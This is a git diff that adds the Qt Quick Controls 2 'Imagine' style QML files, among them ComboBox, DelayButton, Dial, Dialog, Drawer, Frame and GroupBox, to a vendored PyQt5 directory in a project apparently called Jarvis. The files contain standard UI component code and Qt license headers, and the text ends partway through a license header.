+ + spacing: control.spacing + mirrored: control.mirrored + display: control.display + alignment: control.display === IconLabel.IconOnly || control.display === IconLabel.TextUnderIcon ? Qt.AlignCenter : Qt.AlignLeft + + icon: control.icon + text: control.text + font: control.font + color: control.palette.text + } + + background: NinePatchImage { + source: Imagine.url + "checkdelegate-background" + NinePatchImageSelector on source { + states: [ + {"disabled": !control.enabled}, + {"pressed": control.down}, + {"checked": control.checkState === Qt.Checked}, + {"partially-checked": control.checkState === Qt.PartiallyChecked}, + {"focused": control.visualFocus}, + {"highlighted": control.highlighted}, + {"mirrored": control.mirrored}, + {"hovered": control.hovered} + ] + } + } +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Imagine/ComboBox.qml b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Imagine/ComboBox.qml new file mode 100644 index 00000000..d657e734 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Imagine/ComboBox.qml @@ -0,0 +1,174 @@ +/**************************************************************************** +** +** Copyright (C) 2017 The Qt Company Ltd. +** Contact: http://www.qt.io/licensing/ +** +** This file is part of the Qt Quick Controls 2 module of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:LGPL3$ +** Commercial License Usage +** Licensees holding valid commercial Qt licenses may use this file in +** accordance with the commercial license agreement provided with the +** Software or, alternatively, in accordance with the terms contained in +** a written agreement between you and The Qt Company. For licensing terms +** and conditions see http://www.qt.io/terms-conditions. For further +** information use the contact form at http://www.qt.io/contact-us. +** +** GNU Lesser General Public License Usage +** Alternatively, this file may be used under the terms of the GNU Lesser +** General Public License version 3 as published by the Free Software +** Foundation and appearing in the file LICENSE.LGPLv3 included in the +** packaging of this file. Please review the following information to +** ensure the GNU Lesser General Public License version 3 requirements +** will be met: https://www.gnu.org/licenses/lgpl.html. +** +** GNU General Public License Usage +** Alternatively, this file may be used under the terms of the GNU +** General Public License version 2.0 or later as published by the Free +** Software Foundation and appearing in the file LICENSE.GPL included in +** the packaging of this file. Please review the following information to +** ensure the GNU General Public License version 2.0 requirements will be +** met: http://www.gnu.org/licenses/gpl-2.0.html. +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQuick 2.15 +import QtQuick.Window 2.15 +import QtQuick.Templates 2.15 as T +import QtQuick.Controls 2.15 +import QtQuick.Controls.Imagine 2.15 +import QtQuick.Controls.Imagine.impl 2.15 + +T.ComboBox { + id: control + + implicitWidth: Math.max(implicitBackgroundWidth + leftInset + rightInset, + contentItem.implicitWidth + background ? (background.leftPadding + background.rightPadding) : 0) + implicitHeight: Math.max(implicitBackgroundHeight + topInset + bottomInset, + Math.max(implicitContentHeight, + implicitIndicatorHeight) + background ? (background.topPadding + background.bottomPadding) : 0) + + leftPadding: padding + (!control.mirrored || !indicator || !indicator.visible ? 0 : indicator.width + spacing) + rightPadding: padding + (control.mirrored || !indicator || !indicator.visible ? 0 : indicator.width + spacing) + + topInset: background ? -background.topInset || 0 : 0 + leftInset: background ? -background.leftInset || 0 : 0 + rightInset: background ? -background.rightInset || 0 : 0 + bottomInset: background ? -background.bottomInset || 0 : 0 + + delegate: ItemDelegate { + width: ListView.view.width + text: control.textRole ? (Array.isArray(control.model) ? modelData[control.textRole] : model[control.textRole]) : modelData + font.weight: control.currentIndex === index ? Font.DemiBold : Font.Normal + highlighted: control.highlightedIndex === index + hoverEnabled: control.hoverEnabled + } + + indicator: Image { + x: control.mirrored ? control.padding : control.width - width - control.padding + y: control.topPadding + (control.availableHeight - height) / 2 + + source: Imagine.url + "combobox-indicator" + ImageSelector on source { + states: [ + {"disabled": !control.enabled}, + {"pressed": control.pressed}, + {"editable": control.editable}, + {"open": control.down}, + {"focused": control.visualFocus}, + {"mirrored": control.mirrored}, + {"hovered": control.hovered}, + {"flat": control.flat} + ] + } + } + + contentItem: T.TextField { + topPadding: control.background ? control.background.topPadding : 0 + leftPadding: control.background ? control.background.leftPadding : 0 + rightPadding: control.background ? control.background.rightPadding : 0 + bottomPadding: control.background ? control.background.bottomPadding : 0 + + text: control.editable ? control.editText : control.displayText + + enabled: control.editable + autoScroll: control.editable + readOnly: control.down + inputMethodHints: control.inputMethodHints + validator: control.validator + selectByMouse: control.selectTextByMouse + + font: control.font + color: control.flat ? control.palette.windowText : control.editable ? control.palette.text : control.palette.buttonText + selectionColor: control.palette.highlight + selectedTextColor: control.palette.highlightedText + verticalAlignment: Text.AlignVCenter + } + + background: NinePatchImage { + source: Imagine.url + "combobox-background" + NinePatchImageSelector on source { + states: [ + {"disabled": !control.enabled}, + {"pressed": control.pressed}, + {"editable": control.editable}, + {"open": control.down}, + {"focused": control.visualFocus || (control.editable && control.activeFocus)}, + {"mirrored": control.mirrored}, + {"hovered": control.hovered}, + {"flat": control.flat} + ] + } + } + + popup: T.Popup { + width: control.width + height: Math.min(contentItem.implicitHeight + topPadding + bottomPadding, control.Window.height - topMargin - bottomMargin) + + topMargin: background.topInset + bottomMargin: background.bottomInset + + topPadding: background.topPadding + leftPadding: background.leftPadding + rightPadding: background.rightPadding + bottomPadding: background.bottomPadding + + topInset: background ? -background.topInset || 0 : 0 + leftInset: background ? -background.leftInset || 0 : 0 + rightInset: background ? -background.rightInset || 0 : 0 + bottomInset: background ? -background.bottomInset || 0 : 0 + + palette.text: control.palette.text + palette.highlight: control.palette.highlight + palette.highlightedText: control.palette.highlightedText + palette.windowText: control.palette.windowText + palette.buttonText: control.palette.buttonText + + contentItem: ListView { + clip: true + implicitHeight: contentHeight + model: control.delegateModel + currentIndex: control.highlightedIndex + highlightMoveDuration: 0 + + T.ScrollIndicator.vertical: ScrollIndicator { } + } + + background: NinePatchImage { + source: Imagine.url + "combobox-popup" + NinePatchImageSelector on source { + states: [ + {"disabled": !control.enabled}, + {"pressed": control.pressed}, + {"editable": control.editable}, + {"focused": control.visualFocus || (control.editable && control.activeFocus)}, + {"mirrored": control.mirrored}, + {"hovered": control.hovered}, + {"flat": control.flat} + ] + } + } + } +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Imagine/DelayButton.qml b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Imagine/DelayButton.qml new file mode 100644 index 00000000..f60b5eae --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Imagine/DelayButton.qml @@ -0,0 +1,138 @@ +/**************************************************************************** +** +** Copyright (C) 2017 The Qt Company Ltd. +** Contact: http://www.qt.io/licensing/ +** +** This file is part of the Qt Quick Controls 2 module of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:LGPL3$ +** Commercial License Usage +** Licensees holding valid commercial Qt licenses may use this file in +** accordance with the commercial license agreement provided with the +** Software or, alternatively, in accordance with the terms contained in +** a written agreement between you and The Qt Company. For licensing terms +** and conditions see http://www.qt.io/terms-conditions. For further +** information use the contact form at http://www.qt.io/contact-us. +** +** GNU Lesser General Public License Usage +** Alternatively, this file may be used under the terms of the GNU Lesser +** General Public License version 3 as published by the Free Software +** Foundation and appearing in the file LICENSE.LGPLv3 included in the +** packaging of this file. Please review the following information to +** ensure the GNU Lesser General Public License version 3 requirements +** will be met: https://www.gnu.org/licenses/lgpl.html. +** +** GNU General Public License Usage +** Alternatively, this file may be used under the terms of the GNU +** General Public License version 2.0 or later as published by the Free +** Software Foundation and appearing in the file LICENSE.GPL included in +** the packaging of this file. Please review the following information to +** ensure the GNU General Public License version 2.0 requirements will be +** met: http://www.gnu.org/licenses/gpl-2.0.html. +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQuick 2.12 +import QtQuick.Templates 2.12 as T +import QtQuick.Controls.Imagine 2.12 +import QtQuick.Controls.Imagine.impl 2.12 +import QtGraphicalEffects 1.12 + +T.DelayButton { + id: control + + implicitWidth: Math.max(implicitBackgroundWidth + leftInset + rightInset, + implicitContentWidth + leftPadding + rightPadding) + implicitHeight: Math.max(implicitBackgroundHeight + topInset + bottomInset, + implicitContentHeight + topPadding + bottomPadding) + + topPadding: background ? background.topPadding : 0 + leftPadding: background ? background.leftPadding : 0 + rightPadding: background ? background.rightPadding : 0 + bottomPadding: background ? background.bottomPadding : 0 + + topInset: background ? -background.topInset || 0 : 0 + leftInset: background ? -background.leftInset || 0 : 0 + rightInset: background ? -background.rightInset || 0 : 0 + bottomInset: background ? -background.bottomInset || 0 : 0 + + transition: Transition { + NumberAnimation { + duration: control.delay * (control.pressed ? 1.0 - control.progress : 0.3 * control.progress) + } + } + + contentItem: Text { + text: control.text + font: control.font + color: control.palette.buttonText + horizontalAlignment: Text.AlignHCenter + verticalAlignment: Text.AlignVCenter + elide: Text.ElideRight + } + + background: NinePatchImage { + source: Imagine.url + "delaybutton-background" + NinePatchImageSelector on source { + states: [ + {"disabled": !control.enabled}, + {"pressed": control.down}, + {"checked": control.checked}, + {"focused": control.visualFocus}, + {"mirrored": control.mirrored}, + {"hovered": control.hovered} + ] + } + + readonly property NinePatchImage progress: NinePatchImage { + parent: control.background + width: control.progress * parent.width + height: parent.height + visible: false + + source: Imagine.url + "delaybutton-progress" + NinePatchImageSelector on source { + states: [ + {"disabled": !control.enabled}, + {"pressed": control.down}, + {"checked": control.checked}, + {"focused": control.visualFocus}, + {"mirrored": control.mirrored}, + {"hovered": control.hovered} + ] + } + } + + readonly property NinePatchImage mask: NinePatchImage { + width: control.background.width + height: control.background.height + visible: false + + source: Imagine.url + "delaybutton-mask" + NinePatchImageSelector on source { + states: [ + {"disabled": !control.enabled}, + {"pressed": control.down}, + {"checked": control.checked}, + {"focused": control.visualFocus}, + {"mirrored": control.mirrored}, + {"hovered": control.hovered} + ] + } + } + + readonly property OpacityMask effect: OpacityMask { + parent: control.background + width: source.width + height: source.height + source: control.background.progress + + maskSource: ShaderEffectSource { + sourceItem: control.background.mask + sourceRect: Qt.rect(0, 0, control.background.effect.width, control.background.effect.height) + } + } + } +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Imagine/Dial.qml b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Imagine/Dial.qml new file mode 100644 index 00000000..f8c394f3 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Imagine/Dial.qml @@ -0,0 +1,105 @@ +/**************************************************************************** +** +** Copyright (C) 2017 The Qt Company Ltd. +** Contact: http://www.qt.io/licensing/ +** +** This file is part of the Qt Quick Controls 2 module of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:LGPL3$ +** Commercial License Usage +** Licensees holding valid commercial Qt licenses may use this file in +** accordance with the commercial license agreement provided with the +** Software or, alternatively, in accordance with the terms contained in +** a written agreement between you and The Qt Company. For licensing terms +** and conditions see http://www.qt.io/terms-conditions. For further +** information use the contact form at http://www.qt.io/contact-us. +** +** GNU Lesser General Public License Usage +** Alternatively, this file may be used under the terms of the GNU Lesser +** General Public License version 3 as published by the Free Software +** Foundation and appearing in the file LICENSE.LGPLv3 included in the +** packaging of this file. Please review the following information to +** ensure the GNU Lesser General Public License version 3 requirements +** will be met: https://www.gnu.org/licenses/lgpl.html. +** +** GNU General Public License Usage +** Alternatively, this file may be used under the terms of the GNU +** General Public License version 2.0 or later as published by the Free +** Software Foundation and appearing in the file LICENSE.GPL included in +** the packaging of this file. Please review the following information to +** ensure the GNU General Public License version 2.0 requirements will be +** met: http://www.gnu.org/licenses/gpl-2.0.html. +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQuick 2.12 +import QtQuick.Templates 2.12 as T +import QtQuick.Controls.Imagine 2.12 +import QtQuick.Controls.Imagine.impl 2.12 + +T.Dial { + id: control + + implicitWidth: Math.max(implicitBackgroundWidth + leftInset + rightInset, + (handle ? handle.implicitWidth : 0) + leftPadding + rightPadding) + implicitHeight: Math.max(implicitBackgroundHeight + topInset + bottomInset, + (handle ? handle.implicitHeight : 0) + topPadding + bottomPadding) + + topPadding: background ? background.topPadding : 0 + leftPadding: background ? background.leftPadding : 0 + rightPadding: background ? background.rightPadding : 0 + bottomPadding: background ? background.bottomPadding : 0 + + topInset: background ? -background.topInset || 0 : 0 + leftInset: background ? -background.leftInset || 0 : 0 + rightInset: background ? -background.rightInset || 0 : 0 + bottomInset: background ? -background.bottomInset || 0 : 0 + + handle: Image { + x: background.x + background.width / 2 - handle.width / 2 + y: background.y + background.height / 2 - handle.height / 2 + + source: Imagine.url + "dial-handle" + ImageSelector on source { + states: [ + {"disabled": !control.enabled}, + {"pressed": control.pressed}, + {"focused": control.visualFocus}, + {"mirrored": control.mirrored}, + {"hovered": control.hovered} + ] + } + + transform: [ + Translate { + y: -Math.min(control.background.width, control.background.height) * 0.4 + control.handle.height / 2 + }, + Rotation { + angle: control.angle + origin.x: handle.width / 2 + origin.y: handle.height / 2 + } + ] + } + + background: NinePatchImage { + x: control.width / 2 - width / 2 + y: control.height / 2 - height / 2 + width: Math.max(64, Math.min(control.width, control.height)) + height: width + fillMode: Image.PreserveAspectFit + + source: Imagine.url + "dial-background" + NinePatchImageSelector on source { + states: [ + {"disabled": !control.enabled}, + {"pressed": control.pressed}, + {"focused": control.visualFocus}, + {"mirrored": control.mirrored}, + {"hovered": control.hovered} + ] + } + } +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Imagine/Dialog.qml b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Imagine/Dialog.qml new file mode 100644 index 00000000..730b7f57 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Imagine/Dialog.qml @@ -0,0 +1,117 @@ +/**************************************************************************** +** +** Copyright (C) 2017 The Qt Company Ltd. +** Contact: http://www.qt.io/licensing/ +** +** This file is part of the Qt Quick Controls 2 module of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:LGPL3$ +** Commercial License Usage +** Licensees holding valid commercial Qt licenses may use this file in +** accordance with the commercial license agreement provided with the +** Software or, alternatively, in accordance with the terms contained in +** a written agreement between you and The Qt Company. For licensing terms +** and conditions see http://www.qt.io/terms-conditions. For further +** information use the contact form at http://www.qt.io/contact-us. +** +** GNU Lesser General Public License Usage +** Alternatively, this file may be used under the terms of the GNU Lesser +** General Public License version 3 as published by the Free Software +** Foundation and appearing in the file LICENSE.LGPLv3 included in the +** packaging of this file. Please review the following information to +** ensure the GNU Lesser General Public License version 3 requirements +** will be met: https://www.gnu.org/licenses/lgpl.html. +** +** GNU General Public License Usage +** Alternatively, this file may be used under the terms of the GNU +** General Public License version 2.0 or later as published by the Free +** Software Foundation and appearing in the file LICENSE.GPL included in +** the packaging of this file. Please review the following information to +** ensure the GNU General Public License version 2.0 requirements will be +** met: http://www.gnu.org/licenses/gpl-2.0.html. +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQuick 2.12 +import QtQuick.Templates 2.12 as T +import QtQuick.Controls 2.12 +import QtQuick.Controls.Imagine 2.12 +import QtQuick.Controls.Imagine.impl 2.12 + +T.Dialog { + id: control + + implicitWidth: Math.max(implicitBackgroundWidth + leftInset + rightInset, + contentWidth + leftPadding + rightPadding, + implicitHeaderWidth, + implicitFooterWidth) + implicitHeight: Math.max(implicitBackgroundHeight + topInset + bottomInset, + contentHeight + topPadding + bottomPadding + + (implicitHeaderHeight > 0 ? implicitHeaderHeight + spacing : 0) + + (implicitFooterHeight > 0 ? implicitFooterHeight + spacing : 0)) + + topPadding: background ? background.topPadding : 0 + leftPadding: background ? background.leftPadding : 0 + rightPadding: background ? background.rightPadding : 0 + bottomPadding: background ? background.bottomPadding : 0 + + topInset: background ? -background.topInset || 0 : 0 + leftInset: background ? -background.leftInset || 0 : 0 + rightInset: background ? -background.rightInset || 0 : 0 + bottomInset: background ? -background.bottomInset || 0 : 0 + + background: NinePatchImage { + source: Imagine.url + "dialog-background" + NinePatchImageSelector on source { + states: [ + {"modal": control.modal}, + {"dim": control.dim} + ] + } + } + + header: Label { + text: control.title + visible: control.title + elide: Label.ElideRight + font.bold: true + padding: 12 + + background: NinePatchImage { + width: parent.width + height: parent.height + + source: Imagine.url + "dialog-title" + NinePatchImageSelector on source { + states: [ + {"modal": control.modal}, + {"dim": control.dim} + ] + } + } + } + + footer: DialogButtonBox { + visible: count > 0 + } + + T.Overlay.modal: NinePatchImage { + source: Imagine.url + "dialog-overlay" + NinePatchImageSelector on source { + states: [ + {"modal": true} + ] + } + } + + T.Overlay.modeless: NinePatchImage { + source: Imagine.url + "dialog-overlay" + NinePatchImageSelector on source { + states: [ + {"modal": false} + ] + } + } +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Imagine/DialogButtonBox.qml b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Imagine/DialogButtonBox.qml new file mode 100644 index 00000000..c24b29fc --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Imagine/DialogButtonBox.qml @@ -0,0 +1,85 @@ +/**************************************************************************** +** +** Copyright (C) 2017 The Qt Company Ltd. +** Contact: http://www.qt.io/licensing/ +** +** This file is part of the Qt Quick Controls 2 module of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:LGPL3$ +** Commercial License Usage +** Licensees holding valid commercial Qt licenses may use this file in +** accordance with the commercial license agreement provided with the +** Software or, alternatively, in accordance with the terms contained in +** a written agreement between you and The Qt Company. For licensing terms +** and conditions see http://www.qt.io/terms-conditions. For further +** information use the contact form at http://www.qt.io/contact-us. +** +** GNU Lesser General Public License Usage +** Alternatively, this file may be used under the terms of the GNU Lesser +** General Public License version 3 as published by the Free Software +** Foundation and appearing in the file LICENSE.LGPLv3 included in the +** packaging of this file. Please review the following information to +** ensure the GNU Lesser General Public License version 3 requirements +** will be met: https://www.gnu.org/licenses/lgpl.html. +** +** GNU General Public License Usage +** Alternatively, this file may be used under the terms of the GNU +** General Public License version 2.0 or later as published by the Free +** Software Foundation and appearing in the file LICENSE.GPL included in +** the packaging of this file. Please review the following information to +** ensure the GNU General Public License version 2.0 requirements will be +** met: http://www.gnu.org/licenses/gpl-2.0.html. +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQuick 2.12 +import QtQuick.Templates 2.12 as T +import QtQuick.Controls 2.12 +import QtQuick.Controls.Imagine 2.12 +import QtQuick.Controls.Imagine.impl 2.12 + +T.DialogButtonBox { + id: control + + implicitWidth: Math.max(implicitBackgroundWidth + leftInset + rightInset, + (control.count === 1 ? contentWidth * 2 : contentWidth) + leftPadding + rightPadding) + implicitHeight: Math.max(implicitBackgroundHeight + topInset + bottomInset, + contentHeight + topPadding + bottomPadding) + + topPadding: background ? background.topPadding : 0 + leftPadding: background ? background.leftPadding : 0 + rightPadding: background ? background.rightPadding : 0 + bottomPadding: background ? background.bottomPadding : 0 + + topInset: background ? -background.topInset || 0 : 0 + leftInset: background ? -background.leftInset || 0 : 0 + rightInset: background ? -background.rightInset || 0 : 0 + bottomInset: background ? -background.bottomInset || 0 : 0 + + spacing: 6 + + delegate: Button { + width: control.count === 1 ? control.availableWidth / 2 : undefined + flat: true + } + + contentItem: ListView { + model: control.contentModel + spacing: control.spacing + orientation: ListView.Horizontal + boundsBehavior: Flickable.StopAtBounds + snapMode: ListView.SnapToItem + } + + background: NinePatchImage { + source: Imagine.url + "dialogbuttonbox-background" + NinePatchImageSelector on source { + states: [ + {"disabled": !control.enabled}, + {"mirrored": control.mirrored} + ] + } + } +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Imagine/Drawer.qml b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Imagine/Drawer.qml new file mode 100644 index 00000000..2c93ba75 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Imagine/Drawer.qml @@ -0,0 +1,96 @@ +/**************************************************************************** +** +** Copyright (C) 2017 The Qt Company Ltd. +** Contact: http://www.qt.io/licensing/ +** +** This file is part of the Qt Quick Controls 2 module of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:LGPL3$ +** Commercial License Usage +** Licensees holding valid commercial Qt licenses may use this file in +** accordance with the commercial license agreement provided with the +** Software or, alternatively, in accordance with the terms contained in +** a written agreement between you and The Qt Company. For licensing terms +** and conditions see http://www.qt.io/terms-conditions. For further +** information use the contact form at http://www.qt.io/contact-us. +** +** GNU Lesser General Public License Usage +** Alternatively, this file may be used under the terms of the GNU Lesser +** General Public License version 3 as published by the Free Software +** Foundation and appearing in the file LICENSE.LGPLv3 included in the +** packaging of this file. Please review the following information to +** ensure the GNU Lesser General Public License version 3 requirements +** will be met: https://www.gnu.org/licenses/lgpl.html. +** +** GNU General Public License Usage +** Alternatively, this file may be used under the terms of the GNU +** General Public License version 2.0 or later as published by the Free +** Software Foundation and appearing in the file LICENSE.GPL included in +** the packaging of this file. Please review the following information to +** ensure the GNU General Public License version 2.0 requirements will be +** met: http://www.gnu.org/licenses/gpl-2.0.html. +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQuick 2.12 +import QtQuick.Templates 2.12 as T +import QtQuick.Controls.Imagine 2.12 +import QtQuick.Controls.Imagine.impl 2.12 + +T.Drawer { + id: control + + parent: T.ApplicationWindow.overlay + + implicitWidth: Math.max(implicitBackgroundWidth + leftInset + rightInset, + contentWidth + leftPadding + rightPadding) + implicitHeight: Math.max(implicitBackgroundHeight + topInset + bottomInset, + contentHeight + topPadding + bottomPadding) + + topPadding: background ? background.topPadding : 0 + leftPadding: background ? background.leftPadding : 0 + rightPadding: background ? background.rightPadding : 0 + bottomPadding: background ? background.bottomPadding : 0 + + topInset: background ? -background.topInset || 0 : 0 + leftInset: background ? -background.leftInset || 0 : 0 + rightInset: background ? -background.rightInset || 0 : 0 + bottomInset: background ? -background.bottomInset || 0 : 0 + + enter: Transition { SmoothedAnimation { velocity: 5 } } + exit: Transition { SmoothedAnimation { velocity: 5 } } + + background: NinePatchImage { + source: Imagine.url + "drawer-background" + NinePatchImageSelector on source { + states: [ + {"modal": control.modal}, + {"dim": control.dim}, + {"top": control.edge === Qt.TopEdge}, + {"left": control.edge === Qt.LeftEdge}, + {"right": control.edge === Qt.RightEdge}, + {"bottom": control.edge === Qt.BottomEdge} + ] + } + } + + T.Overlay.modal: NinePatchImage { + source: Imagine.url + "drawer-overlay" + NinePatchImageSelector on source { + states: [ + {"modal": true} + ] + } + } + + T.Overlay.modeless: NinePatchImage { + source: Imagine.url + "drawer-overlay" + NinePatchImageSelector on source { + states: [ + {"modal": false} + ] + } + } +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Imagine/Frame.qml b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Imagine/Frame.qml new file mode 100644 index 00000000..2bef3c88 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Imagine/Frame.qml @@ -0,0 +1,69 @@ +/**************************************************************************** +** +** Copyright (C) 2017 The Qt Company Ltd. +** Contact: http://www.qt.io/licensing/ +** +** This file is part of the Qt Quick Controls 2 module of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:LGPL3$ +** Commercial License Usage +** Licensees holding valid commercial Qt licenses may use this file in +** accordance with the commercial license agreement provided with the +** Software or, alternatively, in accordance with the terms contained in +** a written agreement between you and The Qt Company. For licensing terms +** and conditions see http://www.qt.io/terms-conditions. For further +** information use the contact form at http://www.qt.io/contact-us. +** +** GNU Lesser General Public License Usage +** Alternatively, this file may be used under the terms of the GNU Lesser +** General Public License version 3 as published by the Free Software +** Foundation and appearing in the file LICENSE.LGPLv3 included in the +** packaging of this file. Please review the following information to +** ensure the GNU Lesser General Public License version 3 requirements +** will be met: https://www.gnu.org/licenses/lgpl.html. +** +** GNU General Public License Usage +** Alternatively, this file may be used under the terms of the GNU +** General Public License version 2.0 or later as published by the Free +** Software Foundation and appearing in the file LICENSE.GPL included in +** the packaging of this file. Please review the following information to +** ensure the GNU General Public License version 2.0 requirements will be +** met: http://www.gnu.org/licenses/gpl-2.0.html. +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQuick 2.12 +import QtQuick.Templates 2.12 as T +import QtQuick.Controls.Imagine 2.12 +import QtQuick.Controls.Imagine.impl 2.12 + +T.Frame { + id: control + + implicitWidth: Math.max(implicitBackgroundWidth + leftInset + rightInset, + contentWidth + leftPadding + rightPadding) + implicitHeight: Math.max(implicitBackgroundHeight + topInset + bottomInset, + contentHeight + topPadding + bottomPadding) + + topPadding: background ? background.topPadding : 0 + leftPadding: background ? background.leftPadding : 0 + rightPadding: background ? background.rightPadding : 0 + bottomPadding: background ? background.bottomPadding : 0 + + topInset: background ? -background.topInset || 0 : 0 + leftInset: background ? -background.leftInset || 0 : 0 + rightInset: background ? -background.rightInset || 0 : 0 + bottomInset: background ? -background.bottomInset || 0 : 0 + + background: NinePatchImage { + source: Imagine.url + "frame-background" + NinePatchImageSelector on source { + states: [ + {"disabled": !control.enabled}, + {"mirrored": control.mirrored} + ] + } + } +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Imagine/GroupBox.qml b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Imagine/GroupBox.qml new file mode 100644 index 00000000..7abdb6f0 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Imagine/GroupBox.qml @@ -0,0 +1,101 @@ +/**************************************************************************** +** +** Copyright (C) 2017 The Qt Company Ltd. +** Contact: http://www.qt.io/licensing/ +** +** This file is part of the Qt Quick Controls 2 module of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:LGPL3$ +** Commercial License Usage +** Licensees holding valid commercial Qt licenses may use this file in +** accordance with the commercial license agreement provided with the +** Software or, alternatively, in accordance with the terms contained in +** a written agreement between you and The Qt Company. For licensing terms +** and conditions see http://www.qt.io/terms-conditions. For further +** information use the contact form at http://www.qt.io/contact-us. +** +** GNU Lesser General Public License Usage +** Alternatively, this file may be used under the terms of the GNU Lesser +** General Public License version 3 as published by the Free Software +** Foundation and appearing in the file LICENSE.LGPLv3 included in the +** packaging of this file. Please review the following information to +** ensure the GNU Lesser General Public License version 3 requirements +** will be met: https://www.gnu.org/licenses/lgpl.html. +** +** GNU General Public License Usage +** Alternatively, this file may be used under the terms of the GNU +** General Public License version 2.0 or later as published by the Free +** Software Foundation and appearing in the file LICENSE.GPL included in +** the packaging of this file. Please review the following information to +** ensure the GNU General Public License version 2.0 requirements will be +** met: http://www.gnu.org/licenses/gpl-2.0.html. +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQuick 2.12 +import QtQuick.Templates 2.12 as T +import QtQuick.Controls 2.12 +import QtQuick.Controls.Imagine 2.12 +import QtQuick.Controls.Imagine.impl 2.12 + +T.GroupBox { + id: control + + implicitWidth: Math.max(implicitBackgroundWidth + leftInset + rightInset, + contentWidth + leftPadding + rightPadding, + implicitLabelWidth + leftPadding + rightPadding) + implicitHeight: Math.max(implicitBackgroundHeight + topInset + bottomInset, + contentHeight + topPadding + bottomPadding) + + topPadding: (background ? background.topPadding : 0) + (implicitLabelWidth > 0 ? implicitLabelHeight + spacing : 0) + leftPadding: background ? background.leftPadding : 0 + rightPadding: background ? background.rightPadding : 0 + bottomPadding: background ? background.bottomPadding : 0 + padding: 12 + + label: Label { + width: control.width + + topPadding: background.topPadding + leftPadding: background.leftPadding + rightPadding: background.rightPadding + bottomPadding: background.bottomPadding + + text: control.title + font: control.font + elide: Text.ElideRight + verticalAlignment: Text.AlignVCenter + + color: control.palette.windowText + + background: NinePatchImage { + width: parent.width + height: parent.height + + source: Imagine.url + "groupbox-title" + NinePatchImageSelector on source { + states: [ + {"disabled": !control.enabled}, + {"mirrored": control.mirrored} + ] + } + } + } + + background: NinePatchImage { + x: -leftInset + y: control.topPadding - control.bottomPadding - topInset + width: control.width + leftInset + rightInset + height: control.height + topInset + bottomInset - control.topPadding + control.padding + + source: Imagine.url + "groupbox-background" + NinePatchImageSelector on source { + states: [ + {"disabled": !control.enabled}, + {"mirrored": control.mirrored} + ] + } + } +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Imagine/HorizontalHeaderView.qml b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Imagine/HorizontalHeaderView.qml new file mode 100644 index 00000000..ec91af25 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Imagine/HorizontalHeaderView.qml @@ -0,0 +1,68 @@ +/**************************************************************************** +** +** Copyright (C) 2020 The Qt Company Ltd. +** Contact: http://www.qt.io/licensing/ +** +** This file is part of the Qt Quick Controls 2 module of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:LGPL3$ +** Commercial License Usage +** Licensees holding valid commercial Qt licenses may use this file in +** accordance with the commercial license agreement provided with the +** Software or, alternatively, in accordance with the terms contained in +** a written agreement between you and The Qt Company. For licensing terms +** and conditions see http://www.qt.io/terms-conditions. For further +** information use the contact form at http://www.qt.io/contact-us. +** +** GNU Lesser General Public License Usage +** Alternatively, this file may be used under the terms of the GNU Lesser +** General Public License version 3 as published by the Free Software +** Foundation and appearing in the file LICENSE.LGPLv3 included in the +** packaging of this file. Please review the following information to +** ensure the GNU Lesser General Public License version 3 requirements +** will be met: 